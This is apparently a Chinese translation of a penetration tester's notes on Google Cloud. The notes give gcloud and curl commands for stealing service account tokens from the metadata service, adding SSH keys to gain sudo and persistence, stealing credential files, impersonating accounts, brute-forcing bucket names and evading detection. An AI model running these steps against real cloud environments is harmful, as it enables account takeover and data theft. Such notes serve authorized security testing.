GCP 基础知识

  • gcloud可以通过附加--log-http到命令找到给定命令的原始 HTTP API 调用

递归枚举实例的元数据:

curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"
  • 您可能会在元数据中找到一些有趣的信息,包括 SSH 私钥

  • GCP 使用资源层次结构

    • 类似于传统的文件系统结构:

        Organization
        --> Folders
          --> Projects
            --> Resources
    • 因此,如果用户对组织具有特定权限,则该权限会传播到文件夹、项目和资源

服务帐户

  • 每个 GCP 项目都有一个默认服务帐户
    • 该服务帐户也被分配给在该项目中创建的任何资源

默认服务帐户如下所示:

PROJECT_NUMBER-compute@developer.gserviceaccount.com
PROJECT_ID@appspot.gserviceaccount.com

自定义服务帐户如下所示:

SERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com

访问范围

  • 可以通过查询169.254.169.254IP 查看服务帐户的访问范围,如下例所示:
$ curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes \
    -H 'Metadata-Flavor:Google'

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
https://www.googleapis.com/auth/servicecontrol
https://www.googleapis.com/auth/service.management.readonly
https://www.googleapis.com/auth/trace.append
  • devstorage.read_only默认范围允许对指定项目中的所有存储桶进行读取访问

  • 不应将访问范围作为服务帐户权限的边界

  • 当cloud-platform为实例指定时,服务帐户可以尝试对所有 API 端点进行身份验证

    • 如果存储帐户的权限允许,则此身份验证将成功
  • 即使服务帐户可能有权访问某个 API 端点,如果访问范围不允许该端点,则无法成功进行身份验证

IAM

原始角色

  • Owner,EditorViewer

  • !!!! 每个项目中的默认服务帐户都被赋予了Editor角色(不安全!!)

预定义角色

  • 由 Google 管理的角色(例如compute.instanceAdmin

自定义角色

  • 使管理员能够为角色创建自己的权限集

要查看分配给项目每个成员的角色:

gcloud projects get-iam-policy <PROJECT_ID>

枚举

| 命令 | 描述 |
| :-----------------------------------: | :------------------: |
| gcloud organizations list | 获取组织 ID |
| gcloud organizations get-iam-policy | 查看组织内的用户权限 |

  • 请注意,组织内的权限适用于组织内的所有项目,因此适用于该项目内的所有资源,等等。

应用程序默认凭据

服务帐户令牌

可以从元数据服务中检索令牌:

请求

curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"

响应

{
      "access_token":"ya29.AHES6ZRN3-HlhAPya30GnW_bHSb_QtAS08i85nHq39HE3C2LTrCARA",
      "expires_in":3599,
      "token_type":"Bearer"
 }

应用程序默认凭据

  • 从元数据服务中提取令牌的替代方法
    • 在实现 Google 的官方 GCP 客户端库之一时使用此方法

以下是使用 GCP 客户端库时搜索凭据所采取的步骤:

  1. 代码将检查源代码

    a. 检查服务帐户密钥文件

  2. 检查 GOOGLE_APPLICATION_CREDENTIALS环境变量

​ a. 此环境变量可以设置为服务帐户密钥文件的位置

  1. 使用元数据服务中的默认令牌。

  2. 仅当未找到 1 或 2 时才使用元数据服务中的默认令牌,因为元数据服务令牌被限制在访问范围内并且是临时的

权限提升

⭐ 始终确保检查是否在整个环境中应用了最小权限原则

SSRF

下面描述的 privesc 技术是从内部访问受感染实例的角度编写的。但是,如果您在某些情况下发现 SSRF,也可以执行它们。

不安全的元数据端点

如果客户端已/v1beta启用,您可以获得没有特殊标头的访问令牌:

curl http://metadata.google.internal/computeMetadata/v1beta/instance/service-accounts/default/token

否则,您必须http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token使用自定义标头集进行查询

  • 注意授权令牌默认在 1 小时内过期

计算实例

一般情况

  • 仅仅因为访问范围阻止了某个命令,并不意味着该命令的任何变体都不能运行
    • 例如,如果gsutil ls没有返回存储桶,您仍然可以通过指定存储桶的名称来查询存储桶gsutil ls gs://storage_bucket_example-1234567

枚举以下区域中的脚本:

1.实例元数据

2.本地文件系统

3.服务单位档案

4.等等

  • 脚本有助于说明实例的用途以及它可以访问的内容

修改实例元数据

默认服务帐户

为默认服务帐户提供以下访问范围:

  1. 允许默认访问(默认)

  2. 允许完全访问所有 Cloud API

  3. 为每个 API 设置访问权限

  4. 如果启用了 3(具有计算 API 访问权限)或 2,则可能有 privesc

客户服务帐户

  • Google 不鼓励对自定义服务帐户使用访问范围

privesc 所需的以下权限之一:

  1. compute.instances.setMetadata

  2. compute.projects.setCommonInstanceMetadata

必须能够验证https://www.googleapis.com/auth/computehttps://www.googleapis.com/auth/cloud-platform

将 SSH 密钥添加到元数据

  • Linux GCP 系统通常在 Compute Engine 脚本中运行 Python Linux Guest Environment
    • 帐户守护进程查询元数据以更改授权的 SSH 密钥,并将新密钥添加到现有用户或具有sudo权限的用户
    • 如果可以修改自定义项目元数据,则在 GCP 项目内运行Block project-wide SSH keys启用帐户守护程序选项的所有系统上建立持久性

将 SSH 密钥添加到现有权限用户

gcluod compute instance describe <INSTANCE> --zone <ZONE>

这将返回如下内容:

[...]
- key: ssh-keys
     value: |-
       high-priv-user:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/SQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPfdVTAOIStPmBKx1eN5ozSySm5wFFsMNGXPp2ddlFQB5pYKYQHPwqRJp1CTPpwti+uPA6ZHcz3gJmyGsYNloT61DNdAuZybkpPlpHH0iMaurjhPk0wMQAMJUbWxhZ6TTTrxyDmS5BnO4AgrL2aK+peoZIwq5PLMmikRUyJSv0/cTX93PlQ4H+MtDHIvl9X2Al9JDXQ/Qhm+faui0AnS8usl2VcwLOw7aQRRUgyqbthg+jFAcjOtiuhaHJO9G1Jw8Cp0iy/NE8wT0/tj9smE1oTPhdI+TXMJdcwysgavMCE8FGzZ high-priv-user
       low-priv-user:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2fNZlw22d3mIAcfRV24bmIrOUn8l9qgOGj1LQgOTBPLAVMDAbjrM/98SIa1NainYfPSK4oh/06s7xi5B8IzECrwqfwqX0Z3VbW9oQbnlaBz6AYwgGHE3Fdrbk[...]
  1. 创建密钥

       high-priv-user

    a. ssh-keygen -t rsa -C "high-priv-user" -f ./key -P ""

    2.编辑公钥,使其与high-priv-user公钥文件的格式相匹配

    3.将新密钥添加到实例元数据

​ a.gcloud compute instances add-metadata <INSTANCE> --metadata-from-file ssh-keys=ssh_public_file.txt

使用 SSH 密钥创建新用户

  • 可以使用相同的过程 (1-3),但是应该指定一个新的用户名

  • 这给了新用户sudo权限

Sudo 到现有会话

使用以下命令生成新的 SSH 密钥,将您当前的用户名添加到google-sudoers组中,并启动 SSH 会话:

gcloud compute ssh <INSTANCE_NAME>
  • 请注意,与上述手动逐步过程相比,这可能会导致对目标实例元数据的更改更多

  • 这使用您当前的用户名

OS登录

  • 将 Google 用户或服务帐户链接到 Linux 身份

  • IAM 权限指示此请求的授权

  • 使用元数据密钥在项目或实例级别启用enable-oslogin = TRUE

  • 启用 2FA 操作系统登录enable-oslogin-2fa = TRUE

  • ``` roles/compute.osLogin 和 roles/compute.osAdminLogin ```

    控制对启用操作系统登录的实例的 SSH 访问

    • 请注意,前者没有 sudo 访问权限,而后者具有 sudo 访问权限

  • 通过将一个人的 SSH 密钥添加到项目元数据中,只要实例没有

      Block pojrect-wide SSH keys    启用该选项,就可以访问所有实例:

    gcloud compute project-info add-metadata --metadata-from-file ssh-keys=my_public_ssh-key.txt

绕过访问范围

访问范围不是安全机制(谷歌自己声明)

查找令牌访问范围

TOKEN='gcloud auth print-access-token'
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=$TOKEN
  • 访问范围“在发出未通过 OAuth 验证的请求时无效”

    • 搜索 RSA 私钥以向 Google Cloud API 进行身份验证并请求新的 OAuth 令牌

      gcloud auth activate-service-account --key-file <FILE>

使用导出的密钥文件检查服务帐户

for i in $(gcloud iam service-accounts list --format="table[no-heading](email)"); do
    echo Looking for keys for $i:
    gcloud iam service-accounts keys list --iam-account $i
done
  • 服务帐户密钥文件的默认名称是<PROJECT_ID>-<PORTION_OF_KEY_ID>.json

  • 如果访问范围过于严格,请检查是否有另一个更宽松的实例

    • gcloud compute instances list --quiet
  • 检查实例是否具有默认服务帐户 ( PROJECT_NUMBER-compute@developer.gserviceaccount.com)

窃取 GCloud 授权

  • 查找以下文件:
~/.config/gcloud/credentials.db
~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json
~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto
~/.credentials.json

服务帐户模拟

模拟服务帐户的三种方法:

  1. 使用 RSA 私钥进行身份验证

  2. 使用 Cloud IAM 政策进行授权

  3. 在 GCP 服务上部署作业

  • 可能会冒充另一个具有iam.serviceAccountTokenCreator权限的帐户

  • 如果你有

      Owner

    访问权限,你可以尝试登录到网络界面

    • 服务账户无法访问网页界面,但您可以提供Editor对任意@gmail.com账户的访问权限,然后登录(无法提供Owner访问权限)

        gcloud projects add-iam-policy-binding <PROJECT> --member user:0xd4y@gmail.com --role roles/editor
  • 您可以使用

      --impersonate-service-account

    标志使用指定的服务帐户执行命令:

    • 例如:gcloud compute instances list --impersonate-service-account <SERVICE_ACCOUNT>

访问数据库

  • 检查存储桶中的数据库备份,当然还要检查实例中的其他有用信息

  • 有些 gcloud 命令专门用于导出数据

    • 下载之前需要先将数据库写入存储桶

跨项目查找数据库

Cloud SQL
=============
gcloud sql instances list
gcloud sql databases list --instance [INSTANCE]

Cloud Spanner
==============
gcloud spanner instances list
gcloud spanner databases list --instance [INSTANCE]

Cloud Bigtable
==============
gcloud bigtable instances list

存储桶

  • 请注意,默认实例权限允许读取存储桶

  • 可以在单词列表、源代码等中找到。

  • 用于gsutil与存储桶交互

  • 如果gsutil ls返回拒绝访问,则仍然有可能访问存储桶,但需要指定存储桶名称

用于暴力破解桶名称的 Bash Oneliner

for i in $(cat wordlist.txt); do gsutil ls -r gs://"$i"; done

解密密钥

  • 存储在 Cloud KMS(密钥管理服务)中的加密密钥

  • 存储在钥匙圈中的单独钥匙

枚举

  • 如果没有 GCloud 枚举权限,请尝试在文档、脚本和 bash 历史记录中搜索密钥

| 命令 | 描述 |
| ------------------------------------------------------------ | -------------------- |
| gcloud kms keyrings list --location global | 列出可用的全局密钥环 |
| gcloud kms keys list --keyring <KEYRING_NAME> --location global | 列出密钥环内的密钥 |
| gcloud kms decrypt --ciphertext-file=<INFILE> --plaintext-file=<OUTFILE> --key <KEY> --keyring <KEYRING> --location global | 使用密钥解密文件 |

串行控制台日志

  • 从操作系统和 BIOS 写入串行端口的计算实例的输出

从串口查看日志文件的两种方式:

  1. 通过计算 API

    • Compute: Read Only即使有访问范围限制也可以执行
    • gcloud compute instances get-serial-port-output <INSTANCE_NAME> --port <PORT> --start start --zone <ZONE>
  2. 通过云日志

    • 如果管理员启用,则存储在 Cloud Logging 中的串行日志

    • 可以使用日志记录读取权限访问

自定义图像

  • 一些图像可能包含敏感信息,您可以泄露这些信息并将其用于新的 VM

查找自定义图像列表

gcloud compute images list --no-standard-images

导出图像

gcloud compute images export --image <IMAGE_NAME> --export-format qcow2 --destination-uri <BUCKET>

自定义模板

  • 实例模板允许部署具有特定配置的虚拟机
    • 这些配置可以告诉 VM 使用哪个映像、启动脚本、标签等。

| 命令 | 描述 |
| :----------------------------------------------------------: | :--------------------: |
| gcloud compute instance-templates list | 列出可用模板 |
| gcloud compute instance-templates describe <TEMPLATE_NAME> | 获取特定模板的详细信息 |

  • 模板可以包含可以通过实例元数据发现的敏感数据

StackDriver 日志记录

  • StackDriver 是 Google 的监控和日志记录服务

    • Google 相当于 AWS CloudWatch 和 CloudTrail
  • 计算实例需要write访问才能写入日志文件,但是如果read还授予了权限,则可以读取日志

| 命令 | 描述 |
| :-------------------------------------------: | :--------------------------------------------------: |
| gcloud logging logs list | 列出当前项目中的日志文件夹 |
| gcloud logging read <LOG_FOLDER> | 读取特定日志文件夹的内容 |
| gcloud logging write <LOG_FOLDER> <MESSAGE> | 将任意数据写入特定的日志文件夹。可以用来分散注意力。 |

Serverless Services

Cloud Function

  • 相当于 AWS Lambda

  • 环境变量可以包含密钥,就像在 AWS 中一样

| 命令 | 描述 |
| :------------------------------------------: | :--------------------------: |
| gcloud functions list | 列出可用的云功能 |
| gcloud functions describe <FUNCTION_NAME> | 显示功能配置和定义的环境变量 |
| gcloud functions logs read <FUNCTION_NAME> | 获取函数执行的日志 |

APP Engine

  • Google App Engine 是一个专注于可扩展性的无服务器云计算平台

  • 密钥可以存储在环境变量中

    | 命令 | 描述 |
    | ---------------------------- | ------------------------------------------ |
    | gcloud app versions list | 列出 App Engine 服务器中所有服务的现有版本 |
    | gcloud app describe <APP> | 显示有关特定应用程序的信息 |

Cloud Run

  • 检查环境变量的密钥

  • 在端口 8080 上打开 Web 服务器并等待 HTTP GET 请求

    • 收到这样的请求后,将执行一个作业,该作业将通过 HTTP 响应进行记录和输出
  • 在 Kubernetes 集群中运行的作业要么由 Google 完全管理,要么由

    Anthos部分管理

    • 可以配置 IAM 权限来控制哪些身份可以启动作业

    • 可以配置为未经身份验证,允许任何拥有 URL 的人触发作业并查看日志输出

  • 请注意这些工作的作用,因为它可能会影响生产!

| 命令 | 描述 |
| :----------------------------------------------------------: | :----------------------------------------------------------: |
| gcloud run services list --platform=managed --format=json gcloud run services list --platform=gke --format=json | 列出可用平台上的服务 |
| 1. curl <URL>2.curl -H "Authorization: Bearer $(gcloud auth print-identity-token)" <URL> | 1. 尝试以未经身份验证的用户身份触发作业 2. 以经过身份验证的用户身份触发作业 |

AI Platform

  • 寻找model和job

| 命令 | 描述 |
| :---------------------------------------------: | :-------: |
| gcloud ai-platforms models list --format=json | 列出model |
| gcloud ai-platform jobs list --format=json | 列出job |

Cloud Pub/Sub

  • 允许应用程序相互发送消息的服务

Pub/Sub 由以下部分组成:

  1. 主题 - 消息的逻辑组

  2. 订阅 - 允许应用程序接收与主题相关的消息流,可以通过推送通知(对于某些 Google 服务)或拉取请求(对于自定义服务)启用

  3. 消息 - 数据(也可以选择元数据)

| 命令 | 描述 |
| ------------------------------------------------------ | -------------------------- |
| gcloud pubsub topics list | 列出项目中的主题 |
| gcloud pubsub subscrpitions list --format=json | 列出所有主题的订阅 |
| gcloud pubsub subscriptions pull <SUBSCRIPTION_NAME> | 从订阅中提取一条或多条消息 |

  • 消息的修改可以改变应用程序的行为,具体取决于应用程序与消息的交互方式

  • pull 命令可用于模仿有效的应用程序

    • 可以请求一些尚未传递的消息

    • 此命令不应发回 ACK,也不应影响其他应用

  • 攻击者可以在应用程序收到消息之前确认消息以避免某些检测

  • 请求大量数据可能会影响应用程序(小心!)

Cloud Source Repos

  • 像 Git 这样设计

  • 可以包含多汁的信息

| 命令 | 描述 |
| :-------------------------------------: | :----------: |
| gcloud source repos list | 枚举可用的库 |
| gcloud source repos clone <REPO_NAME> | 克隆一个回购 |

Cloud Filestore

  • 专为存储小文档而设计的数据库

  • 像 AWS DynamoDB

  • 可以挂载文件存储

列出文件存储实例

gcloud filestore instances list --format=json

Kubernetes

  • 用于扩展、管理和软件部署的容器服务

| 命令 | 描述 |
| :----------------------------------------------------------: | :----------------------------------------------------------: |
| gcloud container clusters list | 列出当前项目中的容器集群 |
| gcloud container clusters get-credentials <CLUSTER_NAME> --region <REGION> | 验证您的~/..kube/config文件以包含集群,以便您可以使用kubectl. |
| kubectl cluster-info | 获取有关集群的信息。 |

Kubectl 备忘单:https ://kubernetes.io/docs/reference/kubectl/cheatsheet/

密钥管理

  • 存储密码、API 密钥、证书等。

| 命令 | 描述 |
| :---------------------------------: | :----------: |
| gcloud secrets list | 列出密钥 |
| gcloud secrets describe <SECRET> | 获取密钥内容 |

本地系统密钥

  • 通过内部访问系统搜索临时目录、历史文件、环境变量、脚本等。
TARGET_DIR="/path/to/whatever"

# Service account keys
grep -Pzr "(?s){[^{}]*?service_account[^{}]*?private_key.*?}" \
    "$TARGET_DIR"

# Legacy GCP creds
grep -Pzr "(?s){[^{}]*?client_id[^{}]*?client_secret.*?}" \
    "$TARGET_DIR"

# Google API keys
grep -Pr "AIza[a-zA-Z0-9\\-_]{35}" \
    "$TARGET_DIR"

# Google OAuth tokens
grep -Pr "ya29\.[a-zA-Z0-9_-]{100,200}" \
    "$TARGET_DIR"

# Generic SSH keys
grep -Pzr "(?s)-----BEGIN[ A-Z]*?PRIVATE KEY[a-zA-Z0-9/\+=\n-]*?END[ A-Z]*?PRIVATE KEY-----" \
    "$TARGET_DIR"

# Signed storage URLs
grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" \
    "$TARGET_DIR"

# Signed policy documents in HTML
grep -Pzr '(?s)<form action.*?googleapis.com.*?name="signature" value=".*?">' \
    "$TARGET_DIR"

网络

防火墙

  • 每个项目都有一个默认 VPC,其中包含适用于所有实例的以下规则:
    1. default-allow-internal- 允许来自同一网络上其他实例的所有流量
    2. default-allow-ssh- 允许来自任何地方的端口 22 流量
    3. default-allow-rdp- 允许来自任何地方的端口 3389 流量
    4. default-allow-icmp- 允许从任何地方 ping

枚举

查看当前项目中的所有子网:

gcloud compute networks subnets list

查看项目中所有内/外IP地址:

gcloud compute instances list

查看所有实例开放的端口

  • 从实例中运行 nmap 可以触发警报

    • 如果扫描当前项目之外的公共 IP 地址,触发的可能性会增加
  • 可能存在可被利用以实现提升访问权限的不安全应用程序

  • 端口枚举应该通过查看防火墙规则、网络标记、服务帐户和 VPC 中的实例来解释(请参阅gcp_firewall_enum

G Suite

  • 使用与 Google Cloud 完全不同的 API

  • GCP 服务帐户可以使用全域授权访问 G Suite 数据

    • 可以通过 IAM → 服务帐户在 Web 界面中查看

向 G Suite 进行身份验证

  • 需要以 JSON 格式导出服务帐户凭据

  • 服务帐户无法向 G Suite 进行身份验证,因此您需要模拟有效的 G Suite 用户

工具

gcp_firewall_enum

  • 暴露在互联网上的计算实例的端口扫描

gcp_enum

  • 充满枚举命令的脚本

gcp_misc

  • 一组用于攻击 GCP 环境的工具

  • 包含用于列出用户目录和创建新管理员帐户的 gcp_delegation


原文链接:https://0xd4y.com/2022/10/01/GCP-Penetration-Testing-Notes/#dfd7ccbc-957f-400d-97ae-9a8fce7b3b0b

    说点什么吧...